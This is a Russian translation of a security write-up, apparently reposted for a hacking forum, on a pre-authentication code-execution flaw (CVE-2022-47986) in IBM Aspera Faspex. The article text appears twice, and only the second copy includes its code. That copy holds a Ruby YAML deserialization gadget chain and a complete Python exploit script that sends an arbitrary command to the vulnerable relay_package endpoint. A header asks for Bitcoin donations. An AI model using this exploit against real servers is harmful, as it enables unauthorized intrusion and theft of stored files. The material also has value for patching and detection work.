ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов
Введение
Многие корпоративные организации, имеющие дело с большими объемами данных, которыми необходимо обмениваться между сотрудниками или заинтересованными сторонами, часто используют корпоративное программное обеспечение для передачи файлов.По нашему опыту, мы видели, как многие отрасли используют этот тип программного обеспечения для быстрой доставки больших файлов. Программное обеспечение для передачи файлов может хранить чрезвычайно важные данные и выступать в качестве единой точки отказа, поскольку если эти службы будут нарушены, все хранящиеся данные также могут быть получены злоумышленником. Одно из самых популярных решений для быстрой и "безопасной" передачи файлов называется IBM Aspera Faspex. Как объясняет IBM, "IBM Aspera Faspex - это приложение для обмена файлами, построенное на базе IBM Aspera High-Speed Transfer Server в качестве централизованного решения для передачи данных. Благодаря графическому интерфейсу на базе Web, Faspex предлагает расширенные возможности управления высокоскоростной передачей FASP в соответствии с рабочим процессом вашей организации." IBM Aspera Faspex обещает конечным пользователям безопасность, предлагая опции шифрования для файлов, загружаемых через его приложение. Эта модель безопасности нарушена через обнаруженную нами уязвимость RCE перед аутентификацией, которая позволила нам выполнить произвольные команды на сервере Aspera Faspex. Как всегда, клиенты нашей платформы Attack Surface Management первыми узнали о том, что эта уязвимость затронула их. Мы продолжаем проводить оригинальные исследования в области безопасности, чтобы информировать наших клиентов об уязвимостях нулевого дня.
Этой уязвимости присвоен номер CVE-2022-47986.
Подход к Rails-приложению
При аудите приложения Ruby on Rails важно понимать структуру проекта. Схема проекта может быть разделена на модели, представления и контроллеры, но из-за динамической природы Ruby on Rails она иногда может быть не столь предсказуемой, как в других фреймворках, таких как Flask. В данном случае Aspera Faspex использовала макет, как показано ниже:
Необходимо проверить при аудите приложения Ruby on Rails то, поставляется ли программное обеспечение со статическим значением SECRET_KEY_BASE в любом из конфигурационных файлов. Если это значение найдено в кодовой базе, которую вы проверяете, и оно не получено через переменную окружения, а является статическим, это может привести к выполнению команд через полезную нагрузку десериализации Ruby.
Еще одной особенностью аудита приложений Ruby on Rails является наличие файла routes, содержащего список маршрутов и соответствующих контроллеров, которые обрабатывают эти маршруты. Если вы пришли из мира аудита Tomcat, это, по сути, эквивалент файла web.xml.
Наша методология заключалась в том, чтобы глубоко погрузиться в папку app/ и сосредоточиться на всех контроллерах, которые можно было маршрутизировать без аутентификации. Мы потратили некоторое время на сопоставление маршрутов с соответствующими контроллерами.
При аудите любого веб-приложения на Ruby существует множество уязвимостей, которые могут быть неочевидны, если только вы не читали ранее статьи о синквейнах или не проводили много времени, программируя на этом языке. Уязвимость, которую мы обнаружили в Aspera Faspex, - это то, что потребовало бы либо исследования опасного поведения раковин в Ruby, либо предыдущих знаний об опасных раковинах в Ruby.
Что вы можете найти в приложениях на Rails
Хотя Ruby on Rails - это сложный веб-фреймворк, многое, что вы найдете в проектах Ruby on Rails, может быть опасным независимо от фреймворка, но больше связаны с языком программирования Ruby и используемыми библиотеками. Тем не менее, есть некоторые специфические шаблоны кода, которые обычно встречаются в приложениях Ruby on Rails.
Ниже перечислены некоторые из них, на которые вы можете обратить внимание при аудите приложений Ruby on Rails:
Десериализация
Oj.load
ActiveSupport::XmlMini.parse
Куки сессии, если SECRET_KEY_BASE контролируется, утекает или угадывается
YAML.load
Инъекция шаблона
рендеринг inline: "Hello " + params[:name]
ERB.new("Hello " + params[:name]).result(context)
Инъекция SQL
SQL-инъекция на основе ActiveRecord (https://rails-sqli.org/)
XSS
рендеринг текста, html и т.д. в:
<%= @var %>
raw var
h var
Небезопасный YAML.load в /package_relay/relay_package
Мы обнаружили вызов YAML.load внутри контроллера, который, казалось, был доступен без какой-либо аутентификации. Как уже упоминалось ранее в этом блоге, эта функция является одним из поглотителей десериализации в Ruby. Наши первые шаги заключались в обратном отслеживании вызовов (tainting), чтобы определить, контролируем ли мы пользовательский ввод. С помощью гаджетов десериализации можно добиться выполнения команд, если обрабатывает данные, управляемые пользователем.
Зараженный контроллер внутри Aspera Faspex был найден в файле app/controllers/package_relay_controller.rb:
Нам удалось отследить вызов к MultiServer::RelayDescriptor.new в файле lib/multi_server/relay_descriptor.rb:
Как вы можете видеть выше, параметры передаются из контроллера реле пакетов, достигая нашего блока YAML.load с управляемым пользователем параметром external_emails.
Гаджет RCE
Для достижения RCE мы смогли использовать следующий базовый гаджет:
Однако в реальных сценариях атак мы обнаружили, что версия Ruby, поставляемая с Aspera Faspex, стала проблемой. Это было связано с тем, что некоторые классы, которые мы пытались создать, были недоступны или отличались в зависимости от версии Ruby.
В частности, класс Gem::RequestSet отсутствовал на многих установках Aspera Faspex, но мы смогли решить эту проблему с помощью PrettyPrint, расположенного в vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
созданный нами гаджет, который был надежным при установке Aspera Faspex, можно найти ниже:
Эта уязвимость может быть устранена путем обновления до Faspex 4.4.2 Patch Level 2 или Faspex 5.x, который не содержит этой уязвимости
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов
Введение
Многие корпоративные организации, имеющие дело с большими объемами данных, которыми необходимо обмениваться между сотрудниками или заинтересованными сторонами, часто используют корпоративное программное обеспечение для передачи файлов.По нашему опыту, мы видели, как многие отрасли используют этот тип программного обеспечения для быстрой доставки больших файлов. Программное обеспечение для передачи файлов может хранить чрезвычайно важные данные и выступать в качестве единой точки отказа, поскольку если эти службы будут нарушены, все хранящиеся данные также могут быть получены злоумышленником. Одно из самых популярных решений для быстрой и "безопасной" передачи файлов называется IBM Aspera Faspex. Как объясняет IBM, "IBM Aspera Faspex - это приложение для обмена файлами, построенное на базе IBM Aspera High-Speed Transfer Server в качестве централизованного решения для передачи данных. Благодаря графическому интерфейсу на базе Web, Faspex предлагает расширенные возможности управления высокоскоростной передачей FASP в соответствии с рабочим процессом вашей организации." IBM Aspera Faspex обещает конечным пользователям безопасность, предлагая опции шифрования для файлов, загружаемых через его приложение. Эта модель безопасности нарушена через обнаруженную нами уязвимость RCE перед аутентификацией, которая позволила нам выполнить произвольные команды на сервере Aspera Faspex. Как всегда, клиенты нашей платформы Attack Surface Management первыми узнали о том, что эта уязвимость затронула их. Мы продолжаем проводить оригинальные исследования в области безопасности, чтобы информировать наших клиентов об уязвимостях нулевого дня.
Этой уязвимости присвоен номер CVE-2022-47986.
Подход к Rails-приложению
При аудите приложения Ruby on Rails важно понимать структуру проекта. Схема проекта может быть разделена на модели, представления и контроллеры, но из-за динамической природы Ruby on Rails она иногда может быть не столь предсказуемой, как в других фреймворках, таких как Flask. В данном случае Aspera Faspex использовала макет, как показано ниже:
Код:
normal layout:
app/
views/
controllers/
models/
...
config/
lib/
Gemfile
...
Необходимо проверить при аудите приложения Ruby on Rails то, поставляется ли программное обеспечение со статическим значением SECRET_KEY_BASE в любом из конфигурационных файлов. Если это значение найдено в кодовой базе, которую вы проверяете, и оно не получено через переменную окружения, а является статическим, это может привести к выполнению команд через полезную нагрузку десериализации Ruby.
Еще одной особенностью аудита приложений Ruby on Rails является наличие файла routes, содержащего список маршрутов и соответствующих контроллеров, которые обрабатывают эти маршруты. Если вы пришли из мира аудита Tomcat, это, по сути, эквивалент файла web.xml.
Наша методология заключалась в том, чтобы глубоко погрузиться в папку app/ и сосредоточиться на всех контроллерах, которые можно было маршрутизировать без аутентификации. Мы потратили некоторое время на сопоставление маршрутов с соответствующими контроллерами.
При аудите любого веб-приложения на Ruby существует множество уязвимостей, которые могут быть неочевидны, если только вы не читали ранее статьи о синквейнах или не проводили много времени, программируя на этом языке. Уязвимость, которую мы обнаружили в Aspera Faspex, - это то, что потребовало бы либо исследования опасного поведения раковин в Ruby, либо предыдущих знаний об опасных раковинах в Ruby.
Что вы можете найти в приложениях на Rails
Хотя Ruby on Rails - это сложный веб-фреймворк, многое, что вы найдете в проектах Ruby on Rails, может быть опасным независимо от фреймворка, но больше связаны с языком программирования Ruby и используемыми библиотеками. Тем не менее, есть некоторые специфические шаблоны кода, которые обычно встречаются в приложениях Ruby on Rails.
Ниже перечислены некоторые из них, на которые вы можете обратить внимание при аудите приложений Ruby on Rails:
Десериализация
Oj.load
ActiveSupport::XmlMini.parse
Куки сессии, если SECRET_KEY_BASE контролируется, утекает или угадывается
YAML.load
Инъекция шаблона
рендеринг inline: "Hello " + params[:name]
ERB.new("Hello " + params[:name]).result(context)
Инъекция SQL
SQL-инъекция на основе ActiveRecord (https://rails-sqli.org/)
XSS
рендеринг текста, html и т.д. в:
<%= @var %>
raw var
h var
Небезопасный YAML.load в /package_relay/relay_package
Мы обнаружили вызов YAML.load внутри контроллера, который, казалось, был доступен без какой-либо аутентификации. Как уже упоминалось ранее в этом блоге, эта функция является одним из поглотителей десериализации в Ruby. Наши первые шаги заключались в обратном отслеживании вызовов (tainting), чтобы определить, контролируем ли мы пользовательский ввод. С помощью гаджетов десериализации можно добиться выполнения команд, если обрабатывает данные, управляемые пользователем.
Код:
map.resource :package_relay, :controller => :package_relay, :only => :none,
:member => {:relay_package => :post, :relay_access => :post}
Зараженный контроллер внутри Aspera Faspex был найден в файле app/controllers/package_relay_controller.rb:
Код:
def relay_package
begin
ip = request.remote_ip
host = request.remote_host
relay = MultiServer::RelayDescriptor.new(params, ip, host)
Нам удалось отследить вызов к MultiServer::RelayDescriptor.new в файле lib/multi_server/relay_descriptor.rb:
Код:
module MultiServer
class RelayDescriptor
attr_accessor :params
attr_accessor :package_paths, :encryption, :external_emails
attr_reader :requesting_ip, :requesting_host
def initialize(params_hash, requesting_ip_addr, requesting_host_addr)
self.params = params_hash
@requesting_ip = requesting_ip_addr.to_s
@requesting_host = requesting_host_addr.to_s
end
def params=(params_hash)
@params = params_hash
self.class.require_required_keys(self)
self.class.parse(self)
end
def self.parse(relay)
file_list = relay.params[:package_file_list]
relay.package_paths = file_list.collect{ |p|
EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
}
enc_emails = relay.params.delete(:external_emails)
relay.external_emails = YAML.load(enc_emails)
relay.encryption = EConfiguration.require_ear?
end
def self.require_required_keys(relay)
required_keys.each do |rkey|
missing_rkey = relay.params[rkey].nil?
raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
end
end
...
Как вы можете видеть выше, параметры передаются из контроллера реле пакетов, достигая нашего блока YAML.load с управляемым пользователем параметром external_emails.
Гаджет RCE
Для достижения RCE мы смогли использовать следующий базовый гаджет:
Однако в реальных сценариях атак мы обнаружили, что версия Ruby, поставляемая с Aspera Faspex, стала проблемой. Это было связано с тем, что некоторые классы, которые мы пытались создать, были недоступны или отличались в зависимости от версии Ruby.
В частности, класс Gem::RequestSet отсутствовал на многих установках Aspera Faspex, но мы смогли решить эту проблему с помощью PrettyPrint, расположенного в vendor/ruby/lib/ruby/1.9.1/prettyprint.rb:
Код:
class PrettyPrint
...
def breakable(sep=' ', width=sep.length)
group = @group_stack.last
if group.break?
flush
@output << @newline
@output << @genspace.call(@indent)
@output_width = @indent
@buffer_width = 0
else
@buffer << Breakable.new(sep, width, self)
@buffer_width += width
break_outmost_groups
end
end
...
созданный нами гаджет, который был надежным при установке Aspera Faspex, можно найти ниже:
Код:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `whoami`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
Эксплойт
Код:
import requests, sys
url = "{}/aspera/faspex/package_relay/relay_package".format(sys.argv[1])
uuid = "d7cb6601-6db9-43aa-8e6b-dfb4768647ec"
exploit_yaml = """
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `CMD`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
""".replace("CMD",sys.argv[2])
payload = {
"package_file_list": [
"/"
],
"external_emails": exploit_yaml,
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": uuid,
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": '{}',
"delivery_uuid": uuid,
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": True,
"delete_after_download_condition": "IDK",
}
r = requests.post(url,json=payload,verify=False)
print(r.text)
Эта уязвимость может быть устранена путем обновления до Faspex 4.4.2 Patch Level 2 или Faspex 5.x, который не содержит этой уязвимости